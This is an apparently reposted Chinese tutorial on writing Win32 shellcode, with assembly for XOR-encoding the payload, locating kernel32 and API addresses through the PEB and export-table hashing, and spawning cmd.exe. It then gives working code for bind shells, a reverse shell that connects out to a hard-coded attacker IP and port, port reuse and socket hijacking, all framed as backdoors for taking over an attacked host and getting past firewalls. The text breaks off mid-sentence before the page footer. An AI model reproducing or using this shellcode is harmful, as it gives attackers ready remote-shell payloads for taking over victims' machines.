Win32 ShellCode 编程技术

 

一、改变程序执行路径,即获得EIP;

 

获得EIP 
为什么要获得EIP?答案很简单,因为执行程序需要给自己定位。如果对病毒编写技术有了解,相信你一定知道病毒程序是怎么定位的吧?它就是利用call/pop来实现的。熟悉汇编的读者知道,call XXX指令相当于push eip, jmp XXX,就是说call指令先把下一条要执行的指令地址压入堆栈,然后再跳到XXX的地址去。代码段如下:
450000: label1: pop eax
450005: …  eax = 451005

451000: call label1  push 451005
451005:  jmp label1
也可以像下面这样多次跳转:
450000: jmp label1
450002: 
label2: jmp cont
450004: 
label1: call label2  push 450009
450009:  jmp label2 
cont: pop eax 
…  eax = 450009 

二、ShellCode编码解码;

脆弱性服务程序常常对客户的输入请求有特殊字符要求,像编写Foxmail和RPC的ShellCode里限制了对“/”字符的引用,而一般情况下,几乎大部分的ShellCode都避免使用“/x00”,因为它也许会截断我们的ShellCode。那么,此时我们就需要对ShellCode进行编码了,在其执行时再解码就可以避开这些服务程序的要求的特殊限制了。这里我们介绍的是简单的一种编码方式:XOR(异或)大法。大家都知道,XOR有这样的特性,即一个数两次XOR同一个数,其值不变,比如a xor b xor b = a,这也是很多程序加密解密的原始方法。具体的编解码可以通过下面的代码段来实现:
xor ecx, ecx // 清零
mov cl, 0C6h // 需要异或的字符个数 
loop1: // 开始循环
inc eax // 
xor byte ptr [eax], 96h //96h是可选的,只要能通过异或该值而避免特殊字符
loop loop1
结合上面讲的定位方法,我们就可以像下面这样安排我们的解码编码顺序:
jmp decode_end //为了获得已编码的ShellCode地址
decode_start:
pop ebx //得到已编码ShellCode 的位置 
xor ecx, ecx 
mov cl, 0C6h //要解码的长度
loop_decode: //循环解码
xor byte ptr [ebx + ecx], 96h
loop loop_decode 
jmp decode_done //解码完成,跳到已编码ShellCode执行
decode_end:
call decode_start
decode_done:
… //编码后的ShellCode
编码解码在ShellCode编写中尤为重要,直接关系到ShellCode能否成功执行。需要注意的是,XOR大法并不能通吃,因为当受限制字符很多时,并一定能找到合适的值来进行XOR,如果盲目异或,可能会产生适得其反的效果 。那么,这时候可能需要用到其它的技巧了。


三、获得执行“恶意”代码所需的函数地址,开Shell;

这一部分涉及的内容比较多。大家要有耐心,因为这些都是编写ShellCode的关键。为方便讨论,我们细分成几点,逐个击破:
1. 通过PEB法实现Kernel32.dll基地址的查找;
2. 通过PE文件格式实现对GetProcAddress()函数地址的查找;
3. 通过Hash法实现对其它API函数地址的查找;
4. 通过CreateProcess()开Cmd Shell;

1.通过PEB法实现Kernel32.dll基地址的查找
首先,我们要定位Kernel32.dll的地址,现在比较通用的查找方法有三种: PEB,SHE,TOPSTACK,其中PEB应该是最为有效而通用的,所以我们就用它吧。通过下面的流程图看出如何通过PEB搜索Kernel32.dll的地址。
流程很清晰,
(1) FS寄存器TEB结构;
(2) TEB+0x30PEB结构;
(3) PEB+0x0cPEB_LDR_DATA;
(4) PEB_LDR_DATA+0x1cNtdll.dll;
(5) Ntdll.dll+0x08Kernel32.dll。
这样,实现代码就很容易了,如下:
mov eax,fs:[30h] 
mov eax,[eax+0ch] 
mov esi,[eax+1ch] 
lodsd 
mov ebx,[eax+08h] 
另外的SEH和TOPSTACK其实也很好用,这里限于篇幅,大家可以去找些资料或看看以往黑防的文章。

2.通过PE文件格式实现对GetProcAddress()函数地址的查找
Kernel32.dll地址的定位问题解决了,那么就要顺藤摸瓜,通过该地址来找函数GetProcAddress()的地址,因为该函数是找到其它实现ShellCode功能所需函数的切入点哦。我们从下面的流程图看出整个查找过程。
流程也很清晰,我们按部就班分析一下:
(1) kernel32.dll + 0x3c  PE头;
(2) kernel32.dll + 0x3c + 0x78  数据目录表(DataDirectory)结构,而它的第一个成员就是引出表(Export Table);
(3) Export + 0x1c  函数地址数组AddressFunctions;
Export + 0x20  函数名称数组AddressNames;
Export + 0x24  函数名称序号数组AddressOfNameOrdinals;
(4) 由AddressNames  确定 GetProcAddress 对于的 index;
(5) 由AddressOfNameOrdinals[index]  AddressOfFunctions[index];
(6) 由AddressOfFunctions[index]  GetProcAddress地址。

上面的流程都用的是相对偏移地址,我们在真正计算函数地址的时候要加上Kernel32.dll的基地址来得到我们的绝对地址。实现代码段如下(其中ebx为Kernel32.dll的基地址):
mov esi,dword ptr [ebx+3Ch] // PE头 偏移
add esi,ebx //加kernel32基址换成绝对地址,以下同
mov esi,dword ptr [esi+78h] // 数据目录表偏移
add esi,ebx 
mov edi,dword ptr [esi+20h] // 函数名称数组偏移
add edi,ebx 
mov ecx,dword ptr [esi+14h] // 函数地址数组的元素个数
push esi 
xor eax,eax 
mov edx,dword ptr [esi+24h] //函数名称序号表数组偏移
add edx,ebx 
shl eax,1       //count * 2
add eax,edx // count + 函数名序号表偏移
xor ecx,ecx 
mov cx,word ptr [eax] 
mov eax,dword ptr [esi+1Ch] // 函数地址数组偏移
add eax,ebx 
shl ecx,2 //count * 4
add eax,ecx // count + 引出表基址
mov edx,dword ptr [eax]  // 利用序号值,得到函数地址偏移
add edx,ebx // GetProcAddress()地址
大家归纳一下,可以得到以下计算公式:
ProcAddr = (((counter * 2) + Ordinal) * 4) + AddrTable + Kernel32Base

3.通过Hash法实现对其它API函数地址的查找
GetProcAddress()函数地址找到了,接下来就找其它函数的地址。ShellCode发展的最初是通过函数名来一个一个查找,但通过API函数名查找函数地址要求大量的空间来存储ASCII字符串。这对ShellCode大小有严格要求的情况来说是极不合适的,于是我们采用The Last Stage of Delerium提出的一种HASH法,即通过某种转换来得到HASH值。这样每个函数名都可以优化成仅32位的HASH值,大大减小了ShellCode的长度。The Last Stage of Delerium所使用的Hash方法是把函数名的每个字符循环左移5位(或右移27位)并相加得到HASH值,我们可以写一个函数来获得解析函数名的HASH值:
DWORD GetHash( unsigned char *c )
{
DWORD h = 0;
while ( *c )
{
h = ( ( h << 5 ) | ( h >> 27 ) ) + *c++;
}
return( h );

计算得到LoadLibraryA()的HASH值为331ADDDC,CreateProcessA()的HASH值为B87742CB。在实际应用中,该Hash方法得到的HASH值是很可靠的,即基本上不会出现两个不同函数得到同一个HASH值的情况。而在http://www.metasploit.com上,采用的则是循环右移13位(或左移19位),这个也是目前比较常用的HASH方法,下面就是我们按照metasploit的HASH算法给出的实现代码:
compute_hash:
xor eax, eax // eax清零
cdq // edx清零
cld // 清除方向标志位
compute_hash_again:
lodsb // 从esi装载下一个字节到al
test al, al // al 为零 ?
jz compute_hash_finished // al 为零,表示遇到‘/0’
ror edx, 0xd //循环右移13位
add edx, eax // 计算下一个新字节
jmp compute_hash_again // 继续HASH
compute_hash_finished: 
这样,我们就可以得到所有ShellCode使用函数的地址了。

4.通过CreateProcess()开Cmd Shell
一般来说,ShellCode的功能就是开一个Shell(ShellCode的名字也是这样演化来的), 然后通过该Shell,被攻击主机和攻击主机就可以互相通信了。其实这里的工作就是相当于写一个简单的后门程序,不同的只是我们用ShellCode来实现。通信的部分留到后面,我们先来开一个Shell。
如果你写过后门程序,应该很清楚,我们要在被攻击主机上开Shell就是利用了CreateProcess()这个API函数。它的原形如下:
BOOL CreateProcess( 
LPCWSTR pszImageName, 
LPCWSTR pszCmdLine, //命令行参数
LPSECURITY_ATTRIBUTES psaProcess, 
LPSECURITY_ATTRIBUTES psaThread, 
BOOL fInheritHandles, //是否继承句柄
DWORD fdwCreate, 
LPVOID pvEnvironment, 
LPWSTR pszCurDir, 
LPSTARTUPINFOW psiStartInfo, //启动信息
LPPROCESS_INFORMATION pProcInfo //进程信息
);
虽然参数暴多,但是我们只需要关注有注释的那几个,其它的一概用NULL或0来填充即可。因为后门程序的编写黑防几乎每期必有,我就不多说了,只是简单列出要点:
(1) 设置STARTUPINFO结构;
(2) 重定向标准StdInput,StdOutput,StdError;
(3) 调用CreateProcess()启动cmd.exe。
相应的实现功能代码段如下:
mov byte ptr [ebp],44h //STARTUPINFO 大小
mov dword ptr [ebp+3Ch],ebx //StdOutput 句柄
mov dword ptr [ebp+38h],ebx //StdInput 句柄
mov dword ptr [ebp+40h],ebx //StdError 句柄
mov word ptr [ebp+2Ch],0101h //STARTF_USESTDHANDLES|STARTF_USESHOWWINDOWS 
lea eax,[ebp+44h] 
push eax // &ProcessInfo
push ebp // &StartupInfo
push ecx // 0
push ecx // 0
push ecx // 0
inc ecx // ecx = 1
push ecx // 1 
dec ecx // ecx = 0
push ecx // 0
push ecx // 0
push esi // “Cmd.exe”
push ecx // 0
call dword ptr [edi-28] // CreateProcess(NULL, “Cmd.exe”, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo)

小提示:注意上面的函数压栈顺序,遵从C风格函数调用,即参数从右往左依次压栈。

到这我们暂时松一口气了,至少通过上面的知识,我们可以在本机上通过编写ShellCode来实现开一个Cmd窗口。如果你用的是VC,会惊喜地发现你根本不需要#include <windows.h>这样来声明语句来包含头文件了。但战斗才刚刚开始,因为我们要的是远程主机的Shell,所以我们还要解决攻击机和被攻击机之间的通信问题,
四、建立通信连接

四种的ShellCode技术实现我们和被攻击主机的通信:
- 端口绑定
- 反向连接
- 静态端口复用 
- 查找socket
准备好了吗?那就开始吧!
端口绑定
如果读者编写过最基本的后门程序,就很容易理解了,因为端口绑定就是指,在让被攻击者主机作为一个服务器,创建一个套接字,绑定到指定端口,然后监听,如果监听到有连接请求,开一个Shell。如下图一(呜呜,画图好辛苦啊,如果画一个图和写100个exp之间选择,我宁愿选择后者~汗…值得一题的是,强烈推荐大家以后用MS Visio这个强大的工具来画模拟图哦,简单易用量又足…hoho)

流程如下:
WSAStartup()  bind()  listen()  accept() Shell()
CreateProcess(“cmd.exe”)我们在上一篇文章里讲了,这里就不重复了。而WSAStartup(), bind(), listen(), accepte()都是Winsock API函数,与LoadLibraryA()和GetProcAddress()包含在Kernel32.dll中不同,他们都包含在Ws2_32.dll中,大家还记得在上一篇中,我们能找到Kernel32.dll里任何函数的地址,那么就是说我们可以得到LoadLibrary()的地址,那么也就是说,通过LoadLibrary(“Ws2_32.dll”)我们也可以得到Ws2_32.dll的基地址,那么再由GetProcAddress()得到就可以得到WSAStartup(),bind()等Winscok API地址咯。(汗~~…那么那么那么…头都大了)。如果对Winsock API不熟悉的读者,那就要查查MSDN咯,我们这里只讲框架和原理,细节的东西大家就要自己动手了哦。下面给出实现的关键代码段:
mov ebx,eax // eax 是socket()返回的套接字描述符
mov word ptr [ebp],2 //type: AF_INET = 2
mov word ptr [ebp+2],1000h //port = 4096
mov dword ptr [ebp+4], 0 //INADDR_ANY = 0,本主机任意IP
push 10h // length = sizeof(sockaddr) = 16
push ebp //struct sockaddr*: &server
push ebx // s: sock
call dwordptr [edi-12] //bind(sock, (struct sockaddr*)&server, sizeof(server))
inc eax // eax = 1
push eax // backlog = 1 
push ebx // s: sock
call dword ptr [edi-8] //listen(sock, backlog),成功返回eax = 0
push eax // 0 接受所有连接
push eax // 0 接受所有连接
push ebx // s: scok
call dword ptr [edi-4] //accept(sock, 0, 0)
(注:注意上面的函数压栈顺序,遵从C风格函数调用,即参数从右往左依次压栈)
右边的注释我基本按照MSDN的参数一个一个进行了说明,应该非常清楚,只要会一点网络编程,结合左边的汇编,是不是发现编写端口绑定的ShellCode很简单呢。

反向连接
现在人们网络安全意识都逐渐的在提高,无论是从事网络安全的工作者还是刚刚才学会用QQ聊天的MM,相信在安装完操作系统后的第一件事就是安装软件防火墙。那么对于上面的端口绑定的ShellCode,即使我们在被攻击主机开了Shell监听,可是我们却无法连过去。因为几乎所有的防火墙都过滤了内入(inbound)非法端口的连接。这时候,我们就可以试着使用反向(reverse)连接的方法了,也就是我们常说的反连后门。当然,这种方法可行的前提是假设被攻击主机的防火墙没有过滤普通程序的外发(outbound)数据。

流程比端口绑定还简单:
WSAStartup()  WSASocket()  connect()  Shell()
这里除了改用connect()外,其他和端口绑定的实现是基本一样的。下面同样给出关键的代码段:
push eax   // dwFlag = 0
push eax // g = 0
push eax // lpProtocolInfo = NULL
push eax // protocol = 0
inc eax // eax = 1
push eax // type: SOCK_STREAM = 1
inc eax // eax = 2
push eax // af: AF_INET = 2
call dword ptr [edi-8] // sock = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0);
mov ebx,eax // ebx = sock 
mov word ptr [ebp],2 
mov word ptr [ebp+2],1000h //port = 4096
mov dword ptr [ebp+4], 0101a8c0h //IP: 192.168.1.1
push 10h // length = sizeof(sockaddr) = 16
push ebp // struct sockaddr* 
push ebx // sock
call dword ptr [edi-4] ;connect
同样,注释已经一目了然,是不是发现比端口绑定其实差不多呢。

静态端口复用
反向连接看起来好像很不错,但是,要知道,我们是假设被攻击主机的防火墙没有订制外发数据规则的,现在的防火墙超级BT,只要不是系统服务的应用程序访问外网,都会弹出警告窗口,阻止外发的连接。除此之外,还有一个问题,如果作为攻击者的你的主机IP是内网的私有地址,被攻击者又如何能找到你的地址和你建立通信连接呢。
这就引出了端口复用技术。什么是端口复用呢? 就是通过一些已经在使用的端口来绑定我们的shell,比如FTP服务器通常打开默认的21端口,HTTP服务器打开默认的80端口,一般这样的话,那些端口都是防火墙允许的端口,不会被查杀.静态复用端口就是说,我们事先知道被攻击主机已经开了什么端口,而且该端口可被重用,那么我们就可以通过ShellCode复用该端口来实现开Shell了。:
该方法流程和端口绑定差不多,但是中间多加了一个步骤,如下:
WSAStartup()  setsockopt()  bind()  listen()  accept()  Shell()
看到了吗?多加了一个setsockopt(),顾名思义,set socket option,就是设置套接字选项的意思, 我们来看看MSDN上对它的描述吧:
int setsockopt(
SOCKET s, // 套接字
int level, // 选项级别,这里我们用SOL_SOCKET
int optname, // 套接字选项,这里我们用SO_REUSEADDR,这可是关键哦
const char FAR* optval, // 指向套接字选项的值的指针
int optlen // optval大小
);

OK, 弄清意思之后,大家在结合下面给出关键代码段,就明白了。
mov word ptr [ebp],2
push 4 // sizeof(optval) = sizeof(int) = 4
push ebp // ebp指向套接字选项SO_REUSEADDR值的指针
push 4 // SO_REUSEADDR = 4
push 0ffffh // SOL_SOCKET = 0xffff
push ebx // ebx: sock 
call dword ptr [edi-20] //setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (char *)&optval, sizeof(optval)) 
mov word ptr [ebp+2],1000h // port = 4096,假定端口4096开放
mov dword ptr [ebp+4], 0h // IP = INADDR_ANY
push 10h // sizeof(addr) = 16
push ebp // &addr
push ebx // sock
call dword ptr [edi-12] //bind(sock,(struct sockaddr*)&addr, sizeof(addr))
要注意的是,如果服务器的脆弱性应用程序已经指定套接字为SO_EXCLUSIVEADDR选项,那么绑定就不能成功。

查找SOCKET
查找socket,就是通过搜索和利用一个已经存在的连接,它用一个循环去查找和当前连接的套接字描述符,比较远程主机信息来标识当前的连接,如果发现匹配,就绑定到Shell.
该方法的原理是这样的:
(1) 我们(攻击者)在发送攻击串之前用getsockname函数获得套接字本地信息,把相应信息写入shellcode, 这里我们写入自己的端口号,在下面的代码中就是0x1234。
(2) 服务端(被攻击主机)shellcode从1开始递增查找socket,并且用getpeername函数获得攻击者的套接字信息,我们这里为端口号。
(3) 如果两个端口号比较,相符就认为找到socket,跳出递增循环,并且把shell绑定在这个socket上。
OK,原理说完了,给出关键代码段:
xor ebx,ebx // ebx = 0
find:
inc ebx // 从socket = 1开始往上找,一直找到为止
mov dword ptr [ebp],10h // [ebp] = sizeof(sockaddr) = 16
lea eax,[ebp] 
push eax // &namelen
lea eax,[ebp+4] 
push eax // &name
push ebx // sock
call dword ptr [edi-4] // getpeername(sock, 
(struct sockaddr*)&name, &namelen)
cmp word ptr [ebp+6],1234h // 端口比较,1234是我们(攻击者)端口
jne find // 不匹配,继续查找
found:
push ebx // 找到socket,保存
这种动态查找套接字的方法也有其的局限性,如果被攻击主机在NAT网络环境里,而攻击者getsockname取得的套接字信息和被攻击主机getpeername取得的套接字信息不一定相符,导致查找socket失败。
还要说明的一点是,在Win32下,WSASocket()创建的SOCKET默认是非重叠套接字,可以直接将cmd.exe的stdin、stdout、stderr转向到套接字上。而socket()函数则隐式指定了重叠标志,它创建的SOCKET是重叠套接字(overlapped socket),不能直接将cmd.exe的stdin、stdout、stderr转向到套接字上,只能用管道(pipe)来与cmd.exe进程传输数据。而且,winsock推荐使用重叠套接字,所以实际中应该尽可能使用管道。,

Win32 ShellCode的编写技术到这就暂时告一段落了,通过(上)和这篇文章介绍的知识,我们基本上就可以编写出一个属于自己的ShellCode后门了。但是,要知道,我们只是实现基本的功能而已,如果要编写更加高级的ShellCode,比如实现Http下载文件并执行的技术,比如突破防火墙技术,比如让自己的ShellCode更加短小而且更加的通用,

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值